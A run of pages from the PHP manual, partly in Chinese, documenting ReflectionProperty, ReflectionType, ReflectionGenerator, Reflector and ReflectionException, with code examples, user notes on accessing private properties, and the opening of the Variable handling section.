ReflectionProperty::getDocComment — Gets the property doc comment

说明

public ReflectionProperty::getDocComment ( void ) : string

Gets the doc comment for a property.

参数

此函数没有参数。

返回值

The property doc comment.

范例

Example #1 ReflectionProperty::getDocComment() example

<?php
class Str
{
    /**
     * @var int  The length of the string
     */
    public $length = 5;
}

$prop = new ReflectionProperty('Str', 'length');

var_dump($prop->getDocComment());

?>

以上例程的输出类似于：

string(53) "/**
     * @var int  The length of the string
     */"

Example #2 Multiple property declarations

If multiple property declarations are preceeded by a single doc comment, the doc comment refers to the first property only.

<?php
class Foo
{
    /** @var string */
    public $a, $b;
}
$class = new \ReflectionClass('Foo');
foreach ($class->getProperties() as $property) {
    echo $property->getName() . ': ' . var_export($property->getDocComment(), true) . PHP_EOL;
}
?>

以上例程会输出：

a: '/** @var string */'
b: false

参见

  • ReflectionProperty::getModifiers() - Gets the property modifiers
  • ReflectionProperty::getName() - Gets property name
  • ReflectionProperty::getValue() - Gets value

User Contributed Notes

There are no user contributed notes for this page.


Gets the property modifiers

  • ? ReflectionProperty::getDocComment
  • ReflectionProperty::getName ?
  • PHP Manual
  • ReflectionProperty
  • Gets the property modifiers

ReflectionProperty::getModifiers

(PHP 5, PHP 7)

ReflectionProperty::getModifiers — Gets the property modifiers

说明

public ReflectionProperty::getModifiers ( void ) : int

Gets the modifiers.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

A numeric representation of the modifiers.

参见

  • ReflectionProperty::isPrivate() - Checks if property is private
  • Reflection::getModifierNames() - 获取修饰符的名称

User Contributed Notes

There are no user contributed notes for this page.


Gets property name

  • ? ReflectionProperty::getModifiers
  • ReflectionProperty::getValue ?
  • PHP Manual
  • ReflectionProperty
  • Gets property name

ReflectionProperty::getName

(PHP 5, PHP 7)

ReflectionProperty::getName — Gets property name

说明

public ReflectionProperty::getName ( void ) : string

Gets the properties name.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The name of the reflected property.

参见

  • ReflectionProperty::getValue() - Gets value

User Contributed Notes

There are no user contributed notes for this page.


Gets value

  • ? ReflectionProperty::getName
  • ReflectionProperty::isDefault ?
  • PHP Manual
  • ReflectionProperty
  • Gets value

ReflectionProperty::getValue

(PHP 5, PHP 7)

ReflectionProperty::getValue — Gets value

说明

public ReflectionProperty::getValue ([ object $object ] ) : mixed

Gets the property's value.

参数

object

If the property is non-static an object must be provided to fetch the property from. If you want to fetch the default property without providing an object use ReflectionClass::getDefaultProperties() instead.

返回值

The current value of the property.

错误／异常

Throws a ReflectionException if the property is inaccessible. You can make a protected or private property accessible using ReflectionProperty::setAccessible().

范例

Example #1 ReflectionProperty::getValue() example

<?php
class Foo {
    public static $staticProperty = 'foobar';

    public $property = 'barfoo';
    protected $privateProperty = 'foofoo';
}

$reflectionClass = new ReflectionClass('Foo');

var_dump($reflectionClass->getProperty('staticProperty')->getValue());
var_dump($reflectionClass->getProperty('property')->getValue(new Foo));

$reflectionProperty = $reflectionClass->getProperty('privateProperty');
$reflectionProperty->setAccessible(true);
var_dump($reflectionProperty->getValue(new Foo));
?>

以上例程会输出：

string(6) "foobar"
string(6) "barfoo"
string(6) "foofoo"

参见

  • ReflectionProperty::setValue() - Set property value
  • ReflectionProperty::setAccessible() - Set property accessibility
  • ReflectionClass::getDefaultProperties() - 获取默认属性
  • ReflectionClass::getStaticPropertyValue() - 获取静态（static）属性的值

User Contributed Notes

sergiy dot sokolenko at gmail dot com 28-Jun-2010 03:48
To allow protected and private properties to be accessed, you should use
ReflectionProperty::setAccessible(bool $accessible):

<?php
/** Class Foo with protected and private members */
class Foo {
    protected $bar = 'barrr!';
    private $baz = 'bazzz!';
}

$reflFoo = new ReflectionClass('Foo');
$reflBar = $reflFoo->getProperty('bar');
$reflBaz = $reflFoo->getProperty('baz');

// Set private and protected members accessible for getValue/setValue
$reflBar->setAccessible(true);
$reflBaz->setAccessible(true);

$foo = new Foo();
echo $reflBar->getValue($foo); // will output "barrr!"
echo $reflBaz->getValue($foo); // will output "bazzz!"

// You can also setValue
$reflBar->setValue($foo, "new value");
echo $reflBar->getValue($foo); // will output "new value"
?>


Checks if property is a default property

  • ? ReflectionProperty::getValue
  • ReflectionProperty::isPrivate ?
  • PHP Manual
  • ReflectionProperty
  • Checks if property is a default property

ReflectionProperty::isDefault

(PHP 5, PHP 7)

ReflectionProperty::isDefault — Checks if property is a default property

说明

public ReflectionProperty::isDefault ( void ) : bool

Checks whether the property was declared at compile-time, or whether the property was dynamically declared at run-time.

参数

此函数没有参数。

返回值

TRUE if the property was declared at compile-time, or FALSE if it was created at run-time.

范例

Example #1 ReflectionClass::isDefault() example

<?php
class Foo {
    public $bar;
}

$o = new Foo();
$o->bar = 42;
$o->baz = 42;

$ro = new ReflectionObject($o);
var_dump($ro->getProperty('bar')->isDefault());
var_dump($ro->getProperty('baz')->isDefault());
?>

以上例程会输出：

bool(true)
bool(false)

参见

  • ReflectionProperty::getValue() - Gets value

User Contributed Notes

There are no user contributed notes for this page.


Checks if property is private

  • ? ReflectionProperty::isDefault
  • ReflectionProperty::isProtected ?
  • PHP Manual
  • ReflectionProperty
  • Checks if property is private

ReflectionProperty::isPrivate

(PHP 5, PHP 7)

ReflectionProperty::isPrivate — Checks if property is private

说明

public ReflectionProperty::isPrivate ( void ) : bool

Checks whether the property is private.

参数

此函数没有参数。

返回值

TRUE if the property is private, FALSE otherwise.

参见

  • ReflectionProperty::isPublic() - Checks if property is public
  • ReflectionProperty::isProtected() - Checks if property is protected
  • ReflectionProperty::isStatic() - Checks if property is static

User Contributed Notes

There are no user contributed notes for this page.


Checks if property is protected

  • ? ReflectionProperty::isPrivate
  • ReflectionProperty::isPublic ?
  • PHP Manual
  • ReflectionProperty
  • Checks if property is protected

ReflectionProperty::isProtected

(PHP 5, PHP 7)

ReflectionProperty::isProtected — Checks if property is protected

说明

public ReflectionProperty::isProtected ( void ) : bool

Checks whether the property is protected.

参数

此函数没有参数。

返回值

TRUE if the property is protected, FALSE otherwise.

参见

  • ReflectionProperty::isPublic() - Checks if property is public
  • ReflectionProperty::isPrivate() - Checks if property is private
  • ReflectionProperty::isStatic() - Checks if property is static

User Contributed Notes

Ievgen Iefimenko the_boss at bk dot ru 09-Jun-2012 09:44
<?php

/**
* Return 1 if property is public,
* else return void
*/

class Classname{
    private $variable;
}

$obj = new Classname;
$rp = new ReflectionProperty($obj,'variable');
echo $rp->isPrivate();
?>


Checks if property is public

  • ? ReflectionProperty::isProtected
  • ReflectionProperty::isStatic ?
  • PHP Manual
  • ReflectionProperty
  • Checks if property is public

ReflectionProperty::isPublic

(PHP 5, PHP 7)

ReflectionProperty::isPublic — Checks if property is public

说明

public ReflectionProperty::isPublic ( void ) : bool

Checks whether the property is public.

参数

此函数没有参数。

返回值

TRUE if the property is public, FALSE otherwise.

参见

  • ReflectionProperty::isProtected() - Checks if property is protected
  • ReflectionProperty::isPrivate() - Checks if property is private
  • ReflectionProperty::isStatic() - Checks if property is static

User Contributed Notes

There are no user contributed notes for this page.


Checks if property is static

  • ? ReflectionProperty::isPublic
  • ReflectionProperty::setAccessible ?
  • PHP Manual
  • ReflectionProperty
  • Checks if property is static

ReflectionProperty::isStatic

(PHP 5, PHP 7)

ReflectionProperty::isStatic — Checks if property is static

说明

public ReflectionProperty::isStatic ( void ) : bool

Checks whether the property is static.

参数

此函数没有参数。

返回值

TRUE if the property is static, FALSE otherwise.

参见

  • ReflectionProperty::isPublic() - Checks if property is public
  • ReflectionProperty::isProtected() - Checks if property is protected
  • ReflectionProperty::isPrivate() - Checks if property is private

User Contributed Notes

There are no user contributed notes for this page.


Set property accessibility

  • ? ReflectionProperty::isStatic
  • ReflectionProperty::setValue ?
  • PHP Manual
  • ReflectionProperty
  • Set property accessibility

ReflectionProperty::setAccessible

(PHP 5 >= 5.3.0, PHP 7)

ReflectionProperty::setAccessible — Set property accessibility

说明

public ReflectionProperty::setAccessible ( bool $accessible ) : void

Sets a property to be accessible. For example, it may allow protected and private properties to be accessed.

参数

accessible

TRUE to allow accessibility, or FALSE.

返回值

没有返回值。

参见

  • ReflectionProperty::isPrivate() - Checks if property is private
  • ReflectionProperty::isProtected() - Checks if property is protected

User Contributed Notes

matthieu at mnapoli dot fr 19-Oct-2012 08:50
Note that the property will only become accessible using the ReflectionProperty class. The property is still private or protected in the class instances.

<?php
class MyClass {
     private $myProperty = true;
}

$class = new ReflectionClass("MyClass");
$property = $class->getProperty("myProperty");
$property->setAccessible(true);

$obj = new MyClass();
echo $property->getValue($obj); // Works
echo $obj->myProperty; // Doesn't work (error)
?>
Yzmir Ramirez 15-Oct-2010 05:31
Have you tried:

<?php

echo "PHP Version: ".phpversion()."\n";

class Foo
{
    private   $bar  = "private";
    protected $bar2 = "protected";
    public    $bar3 = "public";
}

$obj = new Foo;

$arr = (array)$obj;

print_r($arr);
?>

Output:

PHP Version: 5.2.12
Array
(
    [Foobar] => private
    [*bar2] => protected
    [bar3] => public
)

PHP Version: 5.1.6
Array
(
    [Foobar] => private
    [*bar2] => protected
    [bar3] => public
)
Rob McVey 11-Jun-2010 10:11
If you are using < PHP 5.3 and need to get the private attributes and values, you can use this method:

This is what you are doing:

<?php
$obj_with_privates = new MyObject();
$class     = get_class($obj_with_privates);
$vars     = get_object_vars($obj_with_privates);
//will not show private attributes
print_r($vars);

$reflection = new ReflectionClass( $class );
$attributes = $reflection->getProperties();
//still no private access!
print_r($attributes);
?>

This is what you should do:

<?php
$obj_with_privates = new MyObject();

$class         = get_class( $obj_with_privates );
$reflection = new ReflectionClass( $class );
$abstract    = $reflection->getMethods( ReflectionMethod::IS_ABSTRACT );
$priv_attr  = $reflection->getProperties( ReflectionProperty::IS_PRIVATE );
$privates   = array();
$parent     = get_parent_class( $class );
$child         = $class;
$constructor = $reflection->getConstructor();

//If the class has abstract methods you need to implement them
$abstr_methods = "";
if(sizeof($abstr_methods))
{
    foreach($abstract as $method)
    {
        $mname = $method->name;
        $abstr_methods .= "public function $mname(){return false;}";
    }
}

//Convert private attributes to public attributes
if(sizeof($priv_attr))
{
    $parseable = unserialize(str_replace("\0$class\0", "\0*\0", serialize($obj)));
    foreach($priv_attr as $attribute)
    {
        $aname = $attribute->name;
        $privates[$aname] = $parseable->$aname;
    }
}

$temp_child_class = "temp" . str_replace("_", "", "$class");

//You can gain access to protected attributes by extending the target class
$class_def = "
class $temp_child_class extends $class{
    $constructor
    public function reflect_getmyvars(){
        return get_object_vars(\$this);
    }
    $abstr_methods
}
";

//place class definition in memory
eval($class_def);

//generate object from dynamic class
$tcobj =@ new $temp_child_class;
//call the method we added to the object (to access protected vars)
$vars = $tcobj->reflect_getmyvars();

$attribs = array_merge($vars, $privates);

//will now show private attributes
print_r($attribs);
?>


Set property value

  • ? ReflectionProperty::setAccessible
  • ReflectionProperty::__toString ?
  • PHP Manual
  • ReflectionProperty
  • Set property value

ReflectionProperty::setValue

(PHP 5, PHP 7)

ReflectionProperty::setValue — Set property value

说明

public ReflectionProperty::setValue ( object $object , mixed $value ) : void
public ReflectionProperty::setValue ( mixed $value ) : void

Sets (changes) the property's value.

参数

object

If the property is non-static an object must be provided to change the property on. If the property is static this parameter is left out and only value needs to be provided.

value

The new value.

返回值

没有返回值。

错误／异常

Throws a ReflectionException if the property is inaccessible. You can make a protected or private property accessible using ReflectionProperty::setAccessible().

范例

Example #1 ReflectionProperty::setValue() example

<?php
class Foo {
    public static $staticProperty;

    public $property;
    protected $privateProperty;
}

$reflectionClass = new ReflectionClass('Foo');

$reflectionClass->getProperty('staticProperty')->setValue('foo');
var_dump(Foo::$staticProperty);

$foo = new Foo;

$reflectionClass->getProperty('property')->setValue($foo, 'bar');
var_dump($foo->property);

$reflectionProperty = $reflectionClass->getProperty('privateProperty');
$reflectionProperty->setAccessible(true);
$reflectionProperty->setValue($foo, 'foobar');
var_dump($reflectionProperty->getValue($foo));
?>

以上例程会输出：

string(3) "foo"
string(3) "bar"
string(6) "foobar"

参见

  • ReflectionProperty::getValue() - Gets value
  • ReflectionProperty::setAccessible() - Set property accessibility
  • ReflectionClass::setStaticPropertyValue() - 设置静态属性的值

User Contributed Notes

me at ircmaxell dot om 22-Jun-2011 09:27
You can use ReflectionProperty::setValue to set the value on static properties as well as regular instance properties.  Simply pass null in place of the instance:

<?php
class Foo {
    protected static $bar = null;
    public static function sayBar() {
        echo self::$bar;
    }
}

$r = new ReflectionProperty('Foo', 'bar');
$r->setAccessible(true);
$r->setValue(null, 'foo');

Foo::sayBar(); // "foo"
?>


To string

  • ? ReflectionProperty::setValue
  • ReflectionType ?
  • PHP Manual
  • ReflectionProperty
  • To string

ReflectionProperty::__toString

(PHP 5, PHP 7)

ReflectionProperty::__toString — To string

说明

public ReflectionProperty::__toString ( void ) : string

To string.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

参见

  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


The ReflectionType class

(PHP 7)

简介

ReflectionType 类用于获取函数、类方法的参数或者返回值的类型。

类摘要

ReflectionType {
/* 方法 */
public allowsNull ( void ) : bool
public isBuiltin ( void ) : bool
public __toString ( void ) : string
}

Table of Contents

  • ReflectionType::allowsNull — Checks if null is allowed
  • ReflectionType::isBuiltin — Checks if it is a built-in type
  • ReflectionType::__toString — To string

User Contributed Notes

There are no user contributed notes for this page.


Checks if null is allowed

  • ? ReflectionType
  • ReflectionType::isBuiltin ?
  • PHP Manual
  • ReflectionType
  • Checks if null is allowed

ReflectionType::allowsNull

(PHP 7)

ReflectionType::allowsNull — Checks if null is allowed

说明

public ReflectionType::allowsNull ( void ) : bool

Checks whether the parameter allows NULL.

参数

此函数没有参数。

返回值

TRUE if NULL is allowed, otherwise FALSE

范例

Example #1 ReflectionType::allowsNull() example

<?php
function someFunction(string $param, StdClass $param2 = null) {}

$reflectionFunc = new ReflectionFunction('someFunction');
$reflectionParams = $reflectionFunc->getParameters();

var_dump($reflectionParams[0]->getType()->allowsNull());
var_dump($reflectionParams[1]->getType()->allowsNull());

以上例程的输出类似于：

bool(false)
bool(true)

参见

  • ReflectionType::isBuiltin() - Checks if it is a built-in type
  • ReflectionType::__toString() - To string
  • ReflectionParameter::getType() - Gets a parameter's type

User Contributed Notes

There are no user contributed notes for this page.


Checks if it is a built-in type

  • ? ReflectionType::allowsNull
  • ReflectionType::__toString ?
  • PHP Manual
  • ReflectionType
  • Checks if it is a built-in type

ReflectionType::isBuiltin

(PHP 7)

ReflectionType::isBuiltin — Checks if it is a built-in type

说明

public ReflectionType::isBuiltin ( void ) : bool

Checks if the type is a built-in type in PHP.

参数

此函数没有参数。

返回值

TRUE if it's a built-in type, otherwise FALSE

范例

Example #1 ReflectionType::isBuiltin() example

<?php
class SomeClass {}

function someFunction(string $param, SomeClass $param2, StdClass $param3) {}

$reflectionFunc = new ReflectionFunction('someFunction');
$reflectionParams = $reflectionFunc->getParameters();

var_dump($reflectionParams[0]->getType()->isBuiltin());
var_dump($reflectionParams[1]->getType()->isBuiltin());
var_dump($reflectionParams[2]->getType()->isBuiltin());

以上例程的输出类似于：

bool(true)
bool(false)
bool(false)

Note that the ReflectionType::isBuiltin() method does not distinguish between internal and custom classes. To make this distinction, the ReflectionClass::isInternal() method should be used on the returned class name.

参见

  • ReflectionType::allowsNull() - Checks if null is allowed
  • ReflectionType::__toString() - To string
  • ReflectionClass::isInternal() - 检查类是否由扩展或核心在内部定义
  • ReflectionParameter::getType() - Gets a parameter's type

User Contributed Notes

There are no user contributed notes for this page.


To string

  • ? ReflectionType::isBuiltin
  • ReflectionGenerator ?
  • PHP Manual
  • ReflectionType
  • To string

ReflectionType::__toString

(PHP 7)

ReflectionType::__toString — To string

Warning

This function has been DEPRECATED as of PHP 7.1.0. Relying on this function is highly discouraged.

说明

public ReflectionType::__toString ( void ) : string

Gets the parameter type name.

参数

此函数没有参数。

返回值

Returns the type of the parameter.

范例

Example #1 ReflectionType::__toString() example

<?php
function someFunction(string $param) {}

$reflectionFunc = new ReflectionFunction('someFunction');
$reflectionParam = $reflectionFunc->getParameters()[0];

echo $reflectionParam->getType();

以上例程的输出类似于：

string

参见

  • ReflectionNamedType::getName()
  • ReflectionType::allowsNull() - Checks if null is allowed
  • ReflectionType::isBuiltin() - Checks if it is a built-in type
  • ReflectionParameter::getType() - Gets a parameter's type

User Contributed Notes

There are no user contributed notes for this page.


生成器反射类

(PHP 7)

简介

ReflectionGenerator类用于获取生成器的信息。

类摘要

ReflectionGenerator {
/* 方法 */
public __construct ( Generator $generator )
public getExecutingFile ( void ) : string
public getExecutingGenerator ( void ) : Generator
public getExecutingLine ( void ) : int
public getFunction ( void ) : ReflectionFunctionAbstract
public getThis ( void ) : object
public getTrace ([ int $options = DEBUG_BACKTRACE_PROVIDE_OBJECT ] ) : array
}

Table of Contents

  • ReflectionGenerator::__construct — Constructs a ReflectionGenerator object
  • ReflectionGenerator::getExecutingFile — Gets the file name of the currently executing generator
  • ReflectionGenerator::getExecutingGenerator — Gets the executing Generator object
  • ReflectionGenerator::getExecutingLine — Gets the currently executing line of the generator
  • ReflectionGenerator::getFunction — Gets the function name of the generator
  • ReflectionGenerator::getThis — Gets the $this value of the generator
  • ReflectionGenerator::getTrace — Gets the trace of the executing generator

User Contributed Notes

There are no user contributed notes for this page.


Constructs a ReflectionGenerator object

  • ? ReflectionGenerator
  • ReflectionGenerator::getExecutingFile ?
  • PHP Manual
  • ReflectionGenerator
  • Constructs a ReflectionGenerator object

ReflectionGenerator::__construct

(PHP 7)

ReflectionGenerator::__construct — Constructs a ReflectionGenerator object

说明

public ReflectionGenerator::__construct ( Generator $generator )

Constructs a ReflectionGenerator object.

参数

generator

A generator object.

返回值

没有返回值。

范例

Example #1 ReflectionGenerator::__construct() example

<?php

function gen()
{
    yield 1;
}

$gen = gen();

$reflectionGen = new ReflectionGenerator($gen);

echo <<< output
{$reflectionGen->getFunction()->name}
Line: {$reflectionGen->getExecutingLine()}
File: {$reflectionGen->getExecutingFile()}
output;

以上例程的输出类似于：

gen
Line: 5
File: /path/to/file/example.php

参见

  • ReflectionGenerator::getFunction() - Gets the function name of the generator
  • ReflectionGenerator::getExecutingLine() - Gets the currently executing line of the generator
  • ReflectionGenerator::getExecutingFile() - Gets the file name of the currently executing generator

User Contributed Notes

There are no user contributed notes for this page.


Gets the file name of the currently executing generator

  • ? ReflectionGenerator::__construct
  • ReflectionGenerator::getExecutingGenerator ?
  • PHP Manual
  • ReflectionGenerator
  • Gets the file name of the currently executing generator

ReflectionGenerator::getExecutingFile

(PHP 7)

ReflectionGenerator::getExecutingFile — Gets the file name of the currently executing generator

说明

public ReflectionGenerator::getExecutingFile ( void ) : string

Get the full path and file name of the currently executing generator.

参数

此函数没有参数。

返回值

Returns the full path and file name of the currently executing generator.

范例

Example #1 ReflectionGenerator::getExecutingFile() example

<?php

class GenExample
{
    public function gen()
    {
        yield 1;
    }
}

$gen = (new GenExample)->gen();

$reflectionGen = new ReflectionGenerator($gen);

echo "File: {$reflectionGen->getExecutingFile()}";

以上例程的输出类似于：

File: /path/to/file/example.php

参见

  • ReflectionGenerator::getExecutingLine() - Gets the currently executing line of the generator
  • ReflectionGenerator::getExecutingGenerator() - Gets the executing Generator object

User Contributed Notes

There are no user contributed notes for this page.


Gets the executing Generator object

  • ? ReflectionGenerator::getExecutingFile
  • ReflectionGenerator::getExecutingLine ?
  • PHP Manual
  • ReflectionGenerator
  • Gets the executing Generator object

ReflectionGenerator::getExecutingGenerator

(PHP 7)

ReflectionGenerator::getExecutingGenerator — Gets the executing Generator object

说明

public ReflectionGenerator::getExecutingGenerator ( void ) : Generator

Get the executing Generator object

参数

此函数没有参数。

返回值

Returns the currently executing Generator object.

范例

Example #1 ReflectionGenerator::getExecutingGenerator() example

<?php

class GenExample
{
    public function gen()
    {
        yield 1;
    }
}

$gen = (new GenExample)->gen();

$reflectionGen = new ReflectionGenerator($gen);

$gen2 = $reflectionGen->getExecutingGenerator();

var_dump($gen2 === $gen);
var_dump($gen2->current());

以上例程的输出类似于：

bool(true)
int(1);

参见

  • ReflectionGenerator::getExecutingLine() - Gets the currently executing line of the generator
  • ReflectionGenerator::getExecutingFile() - Gets the file name of the currently executing generator

User Contributed Notes

There are no user contributed notes for this page.


Gets the currently executing line of the generator

  • ? ReflectionGenerator::getExecutingGenerator
  • ReflectionGenerator::getFunction ?
  • PHP Manual
  • ReflectionGenerator
  • Gets the currently executing line of the generator

ReflectionGenerator::getExecutingLine

(PHP 7)

ReflectionGenerator::getExecutingLine — Gets the currently executing line of the generator

说明

public ReflectionGenerator::getExecutingLine ( void ) : int

Get the currently executing line number of the generator.

参数

此函数没有参数。

返回值

Returns the line number of the currently executing statement in the generator.

范例

Example #1 ReflectionGenerator::getExecutingLine() example

<?php

class GenExample
{
    public function gen()
    {
        yield 1;
    }
}

$gen = (new GenExample)->gen();

$reflectionGen = new ReflectionGenerator($gen);

echo "Line: {$reflectionGen->getExecutingLine()}";

以上例程的输出类似于：

Line: 7

参见

  • ReflectionGenerator::getExecutingGenerator() - Gets the executing Generator object
  • ReflectionGenerator::getExecutingFile() - Gets the file name of the currently executing generator

User Contributed Notes

There are no user contributed notes for this page.


Gets the function name of the generator

  • ? ReflectionGenerator::getExecutingLine
  • ReflectionGenerator::getThis ?
  • PHP Manual
  • ReflectionGenerator
  • Gets the function name of the generator

ReflectionGenerator::getFunction

(PHP 7)

ReflectionGenerator::getFunction — Gets the function name of the generator

说明

public ReflectionGenerator::getFunction ( void ) : ReflectionFunctionAbstract

Enables the function name of the generator to be obtained by returning a class derived from ReflectionFunctionAbstract.

参数

此函数没有参数。

返回值

Returns a ReflectionFunctionAbstract class. This will be ReflectionFunction for functions, or ReflectionMethod for methods.

范例

Example #1 ReflectionGenerator::getFunction() example

<?php

function gen()
{
    yield 1;
}

$gen = gen();

$reflectionGen = new ReflectionGenerator($gen);

var_dump($reflectionGen->getFunction());

以上例程的输出类似于：

object(ReflectionFunction)#3 (1) {
  ["name"]=>
  string(3) "gen"
}

参见

  • ReflectionGenerator::getThis() - Gets the $this value of the generator
  • ReflectionGenerator::getTrace() - Gets the trace of the executing generator

User Contributed Notes

There are no user contributed notes for this page.


Gets the $this value of the generator

  • ? ReflectionGenerator::getFunction
  • ReflectionGenerator::getTrace ?
  • PHP Manual
  • ReflectionGenerator
  • Gets the $this value of the generator

ReflectionGenerator::getThis

(PHP 7)

ReflectionGenerator::getThis — Gets the $this value of the generator

说明

public ReflectionGenerator::getThis ( void ) : object

Get the $this value that the generator has access to.

参数

此函数没有参数。

返回值

Returns the $this value, or NULL if the generator was not created in a class context.

范例

Example #1 ReflectionGenerator::getThis() example

<?php

class GenExample
{
    public function gen()
    {
        yield 1;
    }
}

$gen = (new GenExample)->gen();

$reflectionGen = new ReflectionGenerator($gen);

var_dump($reflectionGen->getThis());

以上例程的输出类似于：

object(GenExample)#3 (0) {
}

参见

  • ReflectionGenerator::getFunction() - Gets the function name of the generator
  • ReflectionGenerator::getTrace() - Gets the trace of the executing generator

User Contributed Notes

There are no user contributed notes for this page.


Gets the trace of the executing generator

  • ? ReflectionGenerator::getThis
  • Reflector ?
  • PHP Manual
  • ReflectionGenerator
  • Gets the trace of the executing generator

ReflectionGenerator::getTrace

(PHP 7)

ReflectionGenerator::getTrace — Gets the trace of the executing generator

说明

public ReflectionGenerator::getTrace ([ int $options = DEBUG_BACKTRACE_PROVIDE_OBJECT ] ) : array

Get the trace of the currently executing generator.

参数

options

The value of options can be any of the following flags.

Available options
Option | Description
DEBUG_BACKTRACE_PROVIDE_OBJECT | Default.
DEBUG_BACKTRACE_IGNORE_ARGS | Don't include the argument information for functions in the stack trace.

返回值

Returns the trace of the currently executing generator.

范例

Example #1 ReflectionGenerator::getTrace() example

<?php
function foo() {
    yield 1;
}

function bar()
{
    yield from foo();
}

function baz()
{
    yield from bar();
}

$gen = baz();
$gen->valid(); // start the generator

var_dump((new ReflectionGenerator($gen))->getTrace());

以上例程的输出类似于：

array(2) {
  [0]=>
  array(4) {
    ["file"]=>
    string(18) "example.php"
    ["line"]=>
    int(8)
    ["function"]=>
    string(3) "foo"
    ["args"]=>
    array(0) {
    }
  }
  [1]=>
  array(4) {
    ["file"]=>
    string(18) "example.php"
    ["line"]=>
    int(12)
    ["function"]=>
    string(3) "bar"
    ["args"]=>
    array(0) {
    }
  }
}

参见

  • ReflectionGenerator::getFunction() - Gets the function name of the generator
  • ReflectionGenerator::getThis() - Gets the $this value of the generator

User Contributed Notes

There are no user contributed notes for this page.


Reflector 接口

(PHP 5, PHP 7)

简介

Reflector 是一个接口，被所有可导出的反射类所实现（implement）。

类摘要

Reflector {
/* 方法 */
public static export ( void ) : string
public __toString ( void ) : string
}

Table of Contents

  • Reflector::export — Exports
  • Reflector::__toString — 转化成字符串

User Contributed Notes

There are no user contributed notes for this page.


Exports

  • ? Reflector
  • Reflector::__toString ?
  • PHP Manual
  • Reflector
  • Exports

Reflector::export

(PHP 5, PHP 7)

Reflector::export — Exports

说明

public static Reflector::export ( void ) : string

输出。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

参见

  • Reflection::__toString()

User Contributed Notes

There are no user contributed notes for this page.


转化成字符串

  • ? Reflector::export
  • ReflectionException ?
  • PHP Manual
  • Reflector
  • 转化成字符串

Reflector::__toString

(PHP 5, PHP 7)

Reflector::__toString — 转化成字符串

说明

public Reflector::__toString ( void ) : string

转化成字符串。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

参见

  • ReflectionProperty::export() - Export
  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


ReflectionException 类

(PHP 5, PHP 7)

简介

ReflectionException 类。

类摘要

ReflectionException extends Exception {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 继承的方法 */
final public Exception::getMessage ( void ) : string
final public Exception::getPrevious ( void ) : Throwable
final public Exception::getCode ( void ) : int
final public Exception::getFile ( void ) : string
final public Exception::getLine ( void ) : int
final public Exception::getTrace ( void ) : array
final public Exception::getTraceAsString ( void ) : string
public Exception::__toString ( void ) : string
final private Exception::__clone ( void ) : void
}

User Contributed Notes

temirkhan.nasukhov 18-Apr-2019 11:50
Note that this exception is unchecked even if it is not based on RuntimeException.  Such error must lead to direct fixes in code and not in catch-handle of situation.

Also keep in mind that IDE (mine is Phpstorm 2018.3.4) inspections will highlight it for that reason so do not create phpdoc with throws for any Runtime exceptions.

<?php

/**
 * This way is wrong
 *
 * @throws \ReflectionException
 */
function createReflection()
{
    return new \ReflectionClass('invalid argument');
}

/**
 * This way is fine(I don't mean the code of course)
 */
function createReflection()
{
    return new \ReflectionClass('invalid argument');
}


Variable handling

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Variable handling 函数
    • boolval — 获取变量的布尔值
    • debug_zval_dump — Dumps a string representation of an internal zend value to output
    • doubleval — floatval 的别名
    • empty — 检查一个变量是否为空
    • floatval — 获取变量的浮点值
    • get_defined_vars — 返回由所有已定义变量所组成的数组
    • get_resource_type — 返回资源（resource）类型
    • gettype — 获取变量的类型
    • import_request_variables — 将 GET／POST／Cookie 变量导入到全局作用域中
    • intval — 获取变量的整数值
    • is_array — 检测变量是否是数组
    • is_bool — 检测变量是否是布尔型
    • is_callable — 检测参数是否为合法的可调用结构
    • is_countable — Verify that the contents of a variable is a countable value
    • is_double — is_float 的别名
    • is_float — 检测变量是否是浮点型
    • is_int — 检测变量是否是整数
    • is_integer — is_int 的别名
    • is_iterable — Verify that the contents of a variable is an iterable value
    • is_long — is_int 的别名
    • is_null — 检测变量是否为 NULL
    • is_numeric — 检测变量是否为数字或数字字符串
    • is_object — 检测变量是否是一个对象
    • is_real — is_float 的别名
    • is_resource — 检测变量是否为资源类型
    • is_scalar — 检测变量是否是一个标量
    • is_string — 检测变量是否是字符串
    • isset — 检测变量是否已设置并且非 NULL
    • print_r — 以易于理解的格式打印变量。
    • serialize — 产生一个可存储的值的表示
    • settype — 设置变量的类型
    • strval — 获取变量的字符串值
    • unserialize — 从已存储的表示中创建 PHP 的值
    • unset — 释放给定的变量
    • var_dump — 打印变量的相关信息
    • var_export — 输出或返回一个变量的字符串表示

User Contributed Notes

There are no user contributed notes for this page.


简介

For information on how variables behave, see the Variables entry in the Language Reference section of the manual.

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

变量配置选项
名字 | 默认 | 可修改范围 | 更新日志
unserialize_callback_func | NULL | PHP_INI_ALL | 自 PHP 4.2.0 起可用。
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

unserialize_callback_func string

如果解串行器发现有未定义类要被实例化，将会调用 unserialize() 回调函数（用该未定义类名作为参数）。如果指定函数不存在，或者此函数没有包含／实现该未定义类，则显示警告。所以仅在确实需要实现这样的回调函数时才设置该选项。

参见 unserialize() 和 Autoloading Objects.

User Contributed Notes

There are no user contributed notes for this page.


Variable handling 函数

Table of Contents

  • boolval — 获取变量的布尔值
  • debug_zval_dump — Dumps a string representation of an internal zend value to output
  • doubleval — floatval 的别名
  • empty — 检查一个变量是否为空
  • floatval — 获取变量的浮点值
  • get_defined_vars — 返回由所有已定义变量所组成的数组
  • get_resource_type — 返回资源（resource）类型
  • gettype — 获取变量的类型
  • import_request_variables — 将 GET／POST／Cookie 变量导入到全局作用域中
  • intval — 获取变量的整数值
  • is_array — 检测变量是否是数组
  • is_bool — 检测变量是否是布尔型
  • is_callable — 检测参数是否为合法的可调用结构
  • is_countable — Verify that the contents of a variable is a countable value
  • is_double — is_float 的别名
  • is_float — 检测变量是否是浮点型
